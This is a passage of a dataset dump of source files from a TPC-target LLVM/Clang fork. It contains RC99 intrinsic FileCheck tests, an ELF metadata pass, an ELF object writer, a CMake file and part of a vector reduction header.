0.5146805047988892, "alphanum_fraction": 0.6442141532897949, "avg_line_length": 47.25, "blob_id": "b210a51444e6bbd79f673033fe7bcb38573bbf12", "content_id": "7894cb1b73a0f60e3436aa40c720f1ba453e5d68", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 579, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float256_to_int256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float256 *sptr = (float256 *)src;\n int256 *dptr = (int256 *)dest;\n float256 src_val = *sptr;\n *dptr++ = convert_float256_to_int256(src_val, SW_RZ);\n *dptr = convert_float256_to_int256(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <256 x float> {{.*}} to <256 x i32>\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256f32.i1(<256 x float> {{.*}}, i8 0, i32 197120, <256 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5344827771186829, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 31.22222137451172, "blob_id": "3d29f5971dc210d87491f5b4ad950ac30fbdfaee", "content_id": "008e0990db44a1d1f7e98dcffd06df817c0d9bae", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 290, "license_type": "permissive", "max_line_length": 106, "num_lines": 9, "path": "/clang/test/RC99/bfloat16/bf16_copy-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, _BFloat16 src) {\n bfloat128 __local *dptr = (bfloat128 __local *) dest;\n\n *dptr = src;\n// CHECK: mov.bf16 [[REG:%V[0-9]+]], %S1\n// CHECK: st_l_v %S0, [[REG]]\n}\n" }, { "alpha_fraction": 0.6533052921295166, "alphanum_fraction": 0.6635789275169373, "avg_line_length": 33.4202880859375, "blob_id": "7ef1c24a7407dea4b39035be70724ca94118247c", "content_id": "26929a257cb79187e4122cae36d86bda2f4d2fc4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11875, "license_type": "permissive", "max_line_length": 82, "num_lines": 345, "path": "/llvm/lib/Target/TPC/TPCElfSet.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCELFSet.cpp--------Set ELF's TPC Program Header------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// author: Michael Zuckerman\n// [email protected]\n//===----------------------------------------------------------------------===//\n// 1) This pass adds metadata to the ELF under the name of TPC_METADATA.\n// 2) This header is build according to the protocol of ELFSpec0.1.\n// 3) struct {\n// uint32_t version; //spec version\n// uint8_t specialFunction;\n// uint8_t printf;\n// uint8_t lock;\n// bool HasScalarMemOperation[16];\n// int16_t HasRMW; // This indicate what ever there is ST_TNSR_RMW or not\n// uint32_t reserved[256];\n// }\n// 4) This pass searches for lookup instruction if exist set\n// report.specialFunction to true.\n// 5) This pass searches for printf metadata if exist set printf to true.\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineModuleInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Target/TPCMetadataSection.h\"\n#include <limits>\n\n#define DEBUG_TYPE \"TPCElfSpec\"\n\nusing namespace llvm;\nusing namespace std;\nnamespace llvm {\nFunctionPass *createTPCElfSpecSet();\nvoid initializeTPCElfSpecSetPass(PassRegistry &);\n} // namespace llvm\n\nstatic const char PassDescription[] = \"Set the ELF program Header\";\nstatic const char PassName[] = \"TPCElfSpecSet\";\nstatic cl::opt<bool> EnableElfSpec(\"tpc-elf-spec\", cl::init(true), cl::Hidden);\nstatic cl::opt<bool> LockUnlockMismatchError(\"tpc-lock-mismatch-error\",\n cl::Hidden,\n cl::init(true));\n\nnamespace {\nclass TPCElfSpecSet : public MachineFunctionPass {\n#define numberOfLockRegister 32\n typedef enum {TT_INPUT, TT_OUTPUT} t_tensorType;\n typedef enum { MM_MAX, MM_MIN } t_minMax;\n bool HasRMWStore[TPCNumTensors] = {false};\n bool AllTrueRMW = false;\n std::map<int, t_tensorType> TensorMap;\n typedef enum { LU_LOCK, LU_UNLOCK } t_LockUnlock;\n std::pair<bool, bool> lockUnlock[numberOfLockRegister + 1];\n TPCMetadataSection TPCMetadata;\n /*!\n *\n * @param BMI: machine instruction , contains one instruction from the VLIW\n * The function doesn't return rather set the TensorMap member.\n */\n void mapInputOutputTensor(const MachineInstr &BMI);\n /*!\n *\n * @param BMI: machine instruction , contains one instruction from the VLIW\n * The function doesn't return rather set the TPCMetadata member.\n */\n void detectMMIO(const MachineInstr &BMI);\n /*!\n *\n * @param tensor tensor type for query the data.\n * @param minMax check minimum tensor id or max\n * @return return pair of min/max id and tensor type.\n */\n std::pair<int, t_tensorType>\n findMaxMinTensorNumber(t_tensorType tensor,\n t_minMax minMax = MM_MAX);\n /*!\n *\n * \\breaf searchInstruction: The function search for instruction and set report\n * \\return void\n */\n void searchInstruction(MachineFunction &Func);\n /*!\n *\n * \\breaf searchPrintF: The function search for printf in the metadata\n * section. If exist printf is set to true else printf is set to false\n * \\param Func --> MachineFunction as a bundle\n * \\return bool value\n */\n void searchPrintF(MachineFunction &Func);\n\n void CalculateTPCMetadata(const MachineFunction &Func);\n /*!\n * \\breaf writeResult the function write the result of the report to a\n * new section in the ELF. The name of the section is TPC_METADATA.\n * \\param Func --> MachineFunction as a bundle\n */\n void createElfSection(MachineFunction &Func);\n\n int getLockUnlockIndex(int address);\n void setLockUnlockMember(t_LockUnlock SW, int idx);\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineDominatorTree>();\n AU.addPreserved<MachineDominatorTree>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\n void setTensorMap(MachineFunction &Func);\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCElfSpecSet() : MachineFunctionPass(ID) {\n initializeTPCElfSpecSetPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n} // namespace\n\nchar TPCElfSpecSet::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCElfSpecSet, PassName, PassDescription, false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_END(TPCElfSpecSet, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCElfSpecSet() { return new TPCElfSpecSet(); }\n\nint TPCElfSpecSet::getLockUnlockIndex(int address) {\n int offset = address & 0xFFF; // Register offset\n int TPCBASE = (0x00030000 & address) >> 16; // TPC ID 0-3\n int DCORE = ((0x00200000 & address) >> 20) == 2; // which DCORE\n int TPCID = TPCBASE + DCORE * 4; // Creates unique ID for TPC.\n int addVal = 0;\n switch (offset) {\n case 0xBC4:\n addVal = 0;\n break;\n case 0xBC8:\n addVal = 1;\n break;\n case 0xBCA:\n addVal = 2;\n break;\n case 0xBD0:\n addVal = 3;\n break;\n default:\n return numberOfLockRegister;\n }\n // Each TPCID contains 4 special lock registers.\n // TPCID --> 0,4,8,12,16...\n // addVal connects between the offset to the correct 1D array.\n // Example TPCID 1 and 0xBC8 [1*4+1] --> [5]\n return TPCID * 4 + addVal;\n}\n\nvoid TPCElfSpecSet::setLockUnlockMember(t_LockUnlock SW, int Index) {\n assert((Index <= numberOfLockRegister) &&\n \"Trying to access to an array out of bounds\");\n SW == LU_LOCK ? lockUnlock[Index].first = 1 : lockUnlock[Index].second = 1;\n}\n\nvoid TPCElfSpecSet::mapInputOutputTensor(const MachineInstr &BMI) {\n bool isImm = false;\n int tensorId = 0;\n int switchVal = 0;\n const auto &STI = BMI.getParent()->getParent()->getSubtarget<TPCSubtarget>();\n if (TPCII::is_ld_tnsr(BMI.getDesc())) {\n if(!BMI.getOperand(2).isImm())\n return;\n tensorId = BMI.getOperand(2).getImm();\n TensorMap[tensorId] = TT_INPUT;\n }\n if (TPCII::is_st_tnsr(BMI.getDesc())) {\n isImm = BMI.getOperand(1).isImm();\n if (isImm) {\n tensorId = BMI.getOperand(1).getImm();\n TensorMap[tensorId] = TT_OUTPUT;\n }\n if (BMI.getOperand(BMI.getNumOperands() - 2 - 1).isImm())\n switchVal = BMI.getOperand(BMI.getNumOperands() - 2 - 1).getImm();\n else\n switchVal = BMI.getOperand(BMI.getNumOperands() - 2).getImm();\n if (switchVal & TPCII::SW_RMW_SEL) {\n if (isImm)\n HasRMWStore[tensorId] = true;\n else\n AllTrueRMW = true;\n }\n }\n}\n\nvoid TPCElfSpecSet::detectMMIO(const MachineInstr &BMI) {\n if (TPCMetadata.mmioUsed)\n return;\n\n auto HasMMIOSuffix = [&BMI](unsigned SuffixOpNum) -> bool {\n unsigned SuffixValue = BMI.getOperand(SuffixOpNum).getImm();\n return SuffixValue & TPCII::SW_MMIO;\n };\n\n if (TPCII::is_ld_l(BMI.getDesc()) && HasMMIOSuffix(2))\n TPCMetadata.mmioUsed = true;\n else if (TPCII::is_st_l(BMI.getDesc())&& HasMMIOSuffix(2))\n TPCMetadata.mmioUsed = true;\n\n}\n\nvoid TPCElfSpecSet::searchInstruction(MachineFunction &Func) {\n const auto &STI = Func.getSubtarget<TPCSubtarget>();\n const auto TII = STI.getInstrInfo();\n const auto &MRI = Func.getRegInfo();\n const auto &MDT = getAnalysis<MachineDominatorTree>();\n\n for (auto &MBB : Func) {\n std::vector<const MachineInstr *> DefInstrs;\n MachineBasicBlock::const_instr_iterator MII = MBB.instr_begin();\n for (++MII; MII != MBB.instr_end(); ++MII) {\n const MachineInstr &BMI = *MII;\n mapInputOutputTensor(BMI);\n detectMMIO(BMI);\n if (TPCII::isLookup(BMI.getDesc()) || TPCII::isLookupC(BMI.getDesc()))\n TPCMetadata.specialFunctionUsed = true;\n\n if (TII->isGenAddr(BMI)) {\n const auto AddrOperand = BMI.getOperand(0);\n\n const auto AddrReg = AddrOperand.getReg();\n if (BMI.getOperand(1).isImm()) {\n const auto TensorID = BMI.getOperand(1).getImm();\n // TODO: Ideally we should register data flow analysis, but,\n // apparently ADRF reg is killed with LD use. So this along with\n // dominator check should work.\n for (const auto &MI : MRI.use_instructions(AddrReg)) {\n if (MDT.dominates(BMI.getParent(), MI.getParent()) &&\n TII->isGlobalScalarLoad(MI)) {\n TPCMetadata.scalarLd[TensorID] = true;\n // Break if ADRF operand is dead or killed.\n if (MI.getOperand(1).isDead() || MI.getOperand(1).isKill())\n break;\n }\n }\n }\n }\n }\n }\n\n}\n\nvoid TPCElfSpecSet::searchPrintF(MachineFunction &Func) {\n const Module *MM = Func.getMMI().getModule();\n Metadata *PrintfModule = MM->getModuleFlag(\"tpc-printf\");\n if (!PrintfModule)\n return;\n else {\n TPCMetadata.printfUsed = true;\n ConstantAsMetadata *ConstPrintfModule = dyn_cast<ConstantAsMetadata>(\n PrintfModule);\n assert(ConstPrintfModule && \"Expect a ConstantAsMetadata\");\n ConstantInt *ConstantValue = dyn_cast<ConstantInt>(\n ConstPrintfModule->getValue());\n assert(ConstantValue && \"Expect a ConstantInt\");\n TPCMetadata.printfTensorID = ConstantValue->getValue()\n .getLimitedValue(std::numeric_limits<uint8_t>::max());\n }\n}\n\nvoid TPCElfSpecSet::CalculateTPCMetadata(const MachineFunction &Func) {\n // Calculate TPCMetadata.paramsNum\n TPCMetadata.paramsNum = Func.getFunction().arg_size();\n\n // Calculate TPCMetadata.lockUnLock\n for (int i = 0; i < numberOfLockRegister+1; i++) {\n if (LockUnlockMismatchError && (lockUnlock[i].first ^ lockUnlock[i].second)) {\n report_fatal_error(\"LOCK/UNLOCK doesn't have match UNLOCK/LOCK\");\n }\n if (lockUnlock[i].first && lockUnlock[i].second) {\n TPCMetadata.lockUnLock |= true;\n }\n }\n\n // Calculate TPCMetadata.rmwStore\n for (int j=0; j < TPCNumTensors; j++){\n TPCMetadata.rmwStore[j]= AllTrueRMW || HasRMWStore[j];\n }\n\n // Calculate TPCMetadata.march\n const TPCSubtarget &SubTarget = Func.getSubtarget<TPCSubtarget>();\n if (SubTarget.hasGoyaISA())\n TPCMetadata.march = 1;\n else if (SubTarget.hasGaudiISA())\n TPCMetadata.march = 2;\n else\n llvm_unreachable(\"A unhandled march case\");\n}\n\nstatic std::vector<Constant *> createAString(std::string input, Type *&Int8Ty) {\n std::vector<Constant *> Init;\n for (unsigned i = 0; i < input.size(); i++) {\n Init.push_back(ConstantInt::get(Int8Ty, input[i]));\n }\n return Init;\n}\n\nvoid TPCElfSpecSet::createElfSection(MachineFunction &Func) {\n llvm::Module *M = const_cast<llvm::Module*>(Func.getMMI().getModule());\n Type *Int8Ty = llvm::Type::getInt8Ty(Func.getFunction().getContext());\n\n std::vector<Constant *> TPCMetadataData;\n CalculateTPCMetadata(Func);\n std::vector<uint8_t> BinaryData =\n bianrySerializeTPCProgramHeader(TPCMetadata);\n for (const uint8_t &El : BinaryData) {\n TPCMetadataData.push_back(ConstantInt::get(Int8Ty, El));\n }\n ArrayType *ATMetadata = ArrayType::get(Int8Ty, TPCMetadataData.size());\n llvm::GlobalVariable *GV0 =\n new llvm::GlobalVariable(*M, ATMetadata, false,\n GlobalValue::ExternalLinkage,\n ConstantArray::get(ATMetadata,\n TPCMetadataData),\n \"tpc_metadata\");\n GV0->setSection(BinaryTPCMetadataSectionName);\n}\n\nbool TPCElfSpecSet::runOnMachineFunction(MachineFunction &Func) {\n if (!EnableElfSpec)\n return false;\n searchInstruction(Func);\n searchPrintF(Func);\n createElfSection(Func);\n return false;\n}\n" }, { "alpha_fraction": 0.599274218082428, "alphanum_fraction": 0.6075686812400818, "avg_line_length": 30.112903594970703, "blob_id": "e3871505e8f4c6f7528ebd5daa7cbe9b8ede74c6", "content_id": "dc0339d27eb3057f00283d89795c0a5a523a68f1", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1929, "license_type": "permissive", "max_line_length": 106, "num_lines": 62, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCELFObjectWriter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCELFObjectWriter.cpp - Mips ELF Writer -------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include <algorithm>\n#include <list>\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/MC/MCAssembler.h\"\n#include \"llvm/MC/MCELFObjectWriter.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCSection.h\"\n#include \"llvm/MC/MCSymbolELF.h\"\n#include \"llvm/MC/MCValue.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n\n#define DEBUG_TYPE \"tpc-elf-object-writer\"\n\nusing namespace llvm;\n\nclass TPCELFObjectWriter : public MCELFObjectTargetWriter {\npublic:\n TPCELFObjectWriter()\n : MCELFObjectTargetWriter(/*Is64Bit*/ false, 0, ELF::EM_386, // i386 for now\n /*HasRelocationAddend*/ false) {}\n\n // MCELFObjectTargetWriter interface\npublic:\n unsigned getRelocType(MCContext& Ctx, const MCValue& Target, const MCFixup& Fixup, bool IsPCRel) const {\n MCSymbolRefExpr::VariantKind Modifier = Target.getAccessVariant();\n unsigned Kind = Fixup.getKind();\n switch (Modifier) {\n case MCSymbolRefExpr::VK_None:\n if (IsPCRel) {\n return 0;\n //llvm_unreachable(\"Relocatable fixups are not supported\");\n } else {\n switch (Kind) {\n case FK_Data_4:\n return ELF::R_386_32;\n default:\n llvm_unreachable(\"Unknown ELF relocation type\");\n }\n }\n\n default:\n llvm_unreachable(\"Modifier not supported\");\n }\n }\n};\n\nstd::unique_ptr<MCObjectTargetWriter> llvm::createTPCELFObjectWriter() {\n return std::make_unique<TPCELFObjectWriter>();\n}\n" }, { "alpha_fraction": 0.8118279576301575, "alphanum_fraction": 0.8118279576301575, "avg_line_length": 17.600000381469727, "blob_id": "9bcbe90da8e69aa1b4cb5d6658c481e2ff29a5d6", "content_id": "14b3a6db732e920e55a81cfbfaac26fe5883b16a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 186, "license_type": "permissive", "max_line_length": 52, "num_lines": 10, "path": "/llvm/lib/Target/TPC/AsmParser/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "set(LLVM_LINK_COMPONENTS\n TPCDesc\n )\n\nadd_llvm_component_library(LLVMTPCAsmParser\n TPCAsmParser.cpp\n TPCAsmInstCompress.cpp\n )\n\nadd_dependencies(LLVMTPCAsmParser TPCCommonTableGen)\n" }, { "alpha_fraction": 0.5034246444702148, "alphanum_fraction": 0.6232876777648926, "avg_line_length": 43.92307662963867, "blob_id": "645066bed6eb041d2f33a7577b76bb9ce4b0b47d", "content_id": "eb7de2b3521e7c1d24582f4ea7a34d831f412387", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 584, "license_type": "permissive", "max_line_length": 139, "num_lines": 13, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint256_to_int256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint256 *sptr = (uint256 *)src;\n int256 *dptr = (int256 *)dest;\n uint256 src_val = *sptr;\n *dptr = convert_uint256_to_int256(src_val, 0);\n}\n\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256i32.i1(<256 x i32> {{.*}}, i8 3, i32 512, <256 x i32> undef, i1 true, i1 false)\n\n// CHECK-ASM: ld_l_v [[SRC:%V[0-9]+]], %S0\n// CHECK-ASM: convert.u32 all_lanes target_type=int32 rhne %V{{[0-9]+}}, [[SRC]]\n" }, { "alpha_fraction": 0.3888956606388092, "alphanum_fraction": 0.45518121123313904, "avg_line_length": 39.90547180175781, "blob_id": "980995d9fbd2d4ddfb566f88636c4e577e11a5d3", "content_id": "bf7418c9919226d0a84d39b825615c6dd91132d5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 16444, "license_type": "permissive", "max_line_length": 111, "num_lines": 402, "path": "/clang/lib/Headers/tpc-reduction_functions_core.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- tpc-reduction_functions_core.h------------------------*- TPC-C -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#if __TPC_DROP_VERSION >= VERSION2DEC(35, 0, 0) && defined(INCLUDE_TPC_REDUCTION_CORE_H)\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// SHUFFLE MAP LOOKUP CONFIG\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n#if defined(__goya__)\n #define FUNC_ID_REDUCTION_32 42\n #define FUNC_ID_REDUCTION_16 29\n #define FUNC_ID_REDUCTION_8 30\n#elif defined(__gaudi__)\n#define FUNC_ID_REDUCTION_32 282\n#define FUNC_ID_REDUCTION_16 140\n#define FUNC_ID_REDUCTION_8 141\n#else\n #define FUNC_ID_REDUCTION_32 287\n #define FUNC_ID_REDUCTION_16 140\n #define FUNC_ID_REDUCTION_8 141\n#endif\n\n#if defined( __goya__)\n #define v_f32_lookup_1c v_f32_lookup_c0\n #define v_f32_lookup_2c v_f32_lookup_c1c2\n#endif\n\n#define shuffle_map_32bit_lookup \\\n float64 c0 = 0; \\\n float128 c12 = {0}; \\\n c0 = v_f32_lookup_1c(V_LANE_ID_32, FUNC_ID_REDUCTION_32, 0, c0, 1, 0); \\\n c12 = v_f32_lookup_2c(V_LANE_ID_32, FUNC_ID_REDUCTION_32, 0, c12, 1, 0); \\\n const uchar256 lut1 = (uchar256)c0; \\\n const uchar256 lut2 = (uchar256)c12.v1; \\\n const uchar256 lut3 = (uchar256)c12.v2;\n\n#define shuffle_map_16bit_lookup \\\n float128 c01 = {0}; \\\n float128 c23 = {0}; \\\n c01 = v_f32_lookup_2c(V_LANE_ID_32, FUNC_ID_REDUCTION_16, 0, c01, 1, 0); \\\n c23 = v_f32_lookup_2c(V_LANE_ID_32 + 64, FUNC_ID_REDUCTION_16, 0, c23, 1, 0); \\\n const uchar256 lut1 = (uchar256)c01.v1; \\\n const uchar256 lut2 = (uchar256)c01.v2; \\\n const uchar256 lut3 = (uchar256)c23.v1; \\\n const uchar256 lut4 = (uchar256)c23.v2;\n\n#define shuffle_map_8bit_lookup \\\n float64 c0 = 0; \\\n float128 c12 = {0}; \\\n float128 c34 = {0}; \\\n c0 = v_f32_lookup_1c(V_LANE_ID_32, FUNC_ID_REDUCTION_8, 0, c0, 1, 0); \\\n c12 = v_f32_lookup_2c(V_LANE_ID_32, FUNC_ID_REDUCTION_8, 0, c12, 1, 0); \\\n c34 = v_f32_lookup_2c(V_LANE_ID_32 + 64, FUNC_ID_REDUCTION_8, 0, c34, 1, 0); \\\n const uchar256 lut1 = (uchar256)c0; \\\n const uchar256 lut2 = (uchar256)c12.v1; \\\n const uchar256 lut3 = (uchar256)c12.v2; \\\n const uchar256 lut4 = (uchar256)c34.v1; \\\n const uchar256 lut5 = (uchar256)c34.v2;\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// REDUCTION SWITCHES CONFIG\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n// Switches for mov_dual_group_all\n#define SW_MDG_ALL (SW_WR_LOWER_GROUP0 | SW_WR_UPPER_GROUP0 | \\\n SW_WR_LOWER_GROUP1 | SW_WR_UPPER_GROUP1 | \\\n SW_WR_LOWER_GROUP2 | SW_WR_UPPER_GROUP2 | \\\n SW_WR_LOWER_GROUP3 | SW_WR_UPPER_GROUP3)\n\n// Switches for mov_dual_group\n#define SW_MDG (SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP)\n\n// Switches for mov_group\n#define SW_MG (SW_GROUP0_EN | SW_GROUP1_EN | \\\n SW_DUAL_GROUP0_EN | SW_DUAL_GROUP1_EN | \\\n SW_DUAL_GROUP2_EN | SW_DUAL_GROUP3_EN)\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// REDUCTION OP AND DATA-TYPE CONFIG\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n#define REDUCE_F32 0 // f32\n#define REDUCE_I32 1 // i32\n#define REDUCE_U32 2 // u32\n#define REDUCE_BF16 3 // bf16\n#define REDUCE_F16 4 // f16\n#define REDUCE_I16 5 // i16\n#define REDUCE_U16 6 // u16\n#define REDUCE_I8 7 // i8\n#define REDUCE_U8 8 // u8\n\n#if REDUCE_DT == REDUCE_F32 || REDUCE_DT == REDUCE_I32 || REDUCE_DT == REDUCE_U32\n #define INIT_INDEX V_LANE_ID_32\n#elif REDUCE_DT == REDUCE_BF16 || REDUCE_DT == REDUCE_F16 || REDUCE_DT == REDUCE_I16 || REDUCE_DT == REDUCE_U16\n #define INIT_INDEX V_LANE_ID_16\n#elif REDUCE_DT == REDUCE_I8 || REDUCE_DT == REDUCE_U8\n #define INIT_INDEX V_LANE_ID_8\n#endif\n\n#if REDUCE_DT == REDUCE_F32\n #define T f32\n #define I u32\n #define B 32bit\n #define VEC_TYPE float64\n #define PAIR_VEC_TYPE uint64_float64_pair_t\n#elif REDUCE_DT == REDUCE_I32\n #define T i32\n #define I u32\n #define B 32bit\n #define VEC_TYPE int64\n #define PAIR_VEC_TYPE uint64_int64_pair_t\n#elif REDUCE_DT == REDUCE_U32\n #define T u32\n #define I u32\n #define B 32bit\n #define VEC_TYPE uint64\n #define PAIR_VEC_TYPE uint64_uint64_pair_t\n#elif REDUCE_DT == REDUCE_BF16\n #define T bf16\n #define I u16\n #define B 16bit\n #define VEC_TYPE bfloat128\n #define PAIR_VEC_TYPE ushort128_bfloat128_pair_t\n#elif REDUCE_DT == REDUCE_F16\n #define T f16\n #define I u16\n #define B 16bit\n #define VEC_TYPE half128\n #define PAIR_VEC_TYPE ushort128_half128_pair_t\n#elif REDUCE_DT == REDUCE_I16\n #define T i16\n #define I u16\n #define B 16bit\n #define VEC_TYPE short128\n #define PAIR_VEC_TYPE ushort128_short128_pair_t\n#elif REDUCE_DT == REDUCE_U16\n #define T u16\n #define I u16\n #define B 16bit\n #define VEC_TYPE ushort128\n #define PAIR_VEC_TYPE ushort128_ushort128_pair_t\n#elif REDUCE_DT == REDUCE_I8\n #define T i8\n #define I u8\n #define B 8bit\n #define VEC_TYPE char256\n #define PAIR_VEC_TYPE uchar256_char256_pair_t\n#elif REDUCE_DT == REDUCE_U8\n #define T u8\n #define I u8\n #define B 8bit\n #define VEC_TYPE uchar256\n #define PAIR_VEC_TYPE uchar256_uchar256_pair_t\n#endif\n\n#define REDUCE_ADD 0 // add\n#define REDUCE_MUL 1 // mul\n#define REDUCE_MIN 2 // min\n#define REDUCE_MAX 3 // max\n#define REDUCE_ARGMIN 4 // argmin\n#define REDUCE_ARGMAX 5 // argmax\n\n#if REDUCE_OP == REDUCE_ADD\n #define OP _add\n #define NAME _add\n#elif REDUCE_OP == REDUCE_MUL\n #define OP _mul\n #define NAME _mul\n#elif REDUCE_OP == REDUCE_MIN\n #define OP _min\n #define NAME _min\n#elif REDUCE_OP == REDUCE_MAX\n #define OP _max\n #define NAME _max\n#elif REDUCE_OP == REDUCE_ARGMIN\n #define OP _sel2_less_\n #define NAME _argmin\n#elif REDUCE_OP == REDUCE_ARGMAX\n #define OP _sel2_grt_\n #define NAME _argmax\n#endif\n\n////////////////////////////////////////////////////////////////////////////////////////////////////\n/// REDUCTION CORE LOGIC\n////////////////////////////////////////////////////////////////////////////////////////////////////\n\n#define TOKENPASTE3(a, b, c) a ## b ## c\n#define TOKENPASTE4(a, b, c, d) a ## b ## c ## d\n#define TOKENPASTE5(a, b, c, d, e) a ## b ## c ## d ## e\n\n#define V_REDUCE_CORE(OP, T) TOKENPASTE4(v_, T, _reduce, OP)\n#define V_MOV_DUAL_GROUP(T) TOKENPASTE3(v_, T, _mov_dual_group_b)\n#define V_MOV_DUAL_GROUP_ALL(T) TOKENPASTE3(v_, T, _mov_dual_group_all_b)\n#define V_MOV_GROUP(T) TOKENPASTE3(v_, T, _mov_group_b)\n#define V_SHUFFLE(T) TOKENPASTE3(v_, T, _shuffle_b)\n#define SHUFFLE_MAP_LOOKUP(B) TOKENPASTE3(shuffle_map_, B, _lookup)\n\n#if REDUCE_OP == REDUCE_ADD || REDUCE_OP == REDUCE_MUL || REDUCE_OP == REDUCE_MIN || REDUCE_OP == REDUCE_MAX\n#define V_OP(OP, T) TOKENPASTE4(v_, T, OP, _b)\n\nVEC_TYPE V_REDUCE_CORE(NAME, T)(VEC_TYPE x)\n{\n VEC_TYPE t = 0;\n SHUFFLE_MAP_LOOKUP(B)\n\n // Switch dual groups dg0 <-> dg1, dg2 <-> dg3\n #if defined(__goya__)\n t = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 1, 0, SW_MDG, t, 1, 0);\n t = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 3, 2, SW_MDG, t, 1, 0);\n #else\n t = V_MOV_DUAL_GROUP_ALL(T)(x, 0xFFFFFFFF, 1, 0, 3, 2, SW_MDG_ALL, t, 1, 0);\n #endif\n\n // (dg0 + dg1), (dg2 + dg3)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n // Switch dual groups dg0 <-> dg2, dg1 <-> dg3\n #if defined(__goya__)\n t = V_MOV_DUAL_GROUP(T)(x, 0xFFFFFFFF, 2, 0, SW_MDG, t, 1, 0);\n #else\n t = V_MOV_DUAL_GROUP_ALL(T)(x, 0xFFFFFFFF, 2, 3, 0, 1, SW_MDG_ALL, t, 1, 0);\n #endif\n\n // (dg0 + dg1 + dg2 + dg3)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n // Switch groups g0 <-> g1\n t = V_MOV_GROUP(T)(x, 0xFFFFFFFF, SW_MG, t, 1, 0);\n\n // (dg0 + dg1 + dg2 + dg3) + (g0 + g1)\n x = V_OP(OP, T)(x, t, 0, x, 1, 0);\n\n // Shuffle elements (every 2 elements)\n t = 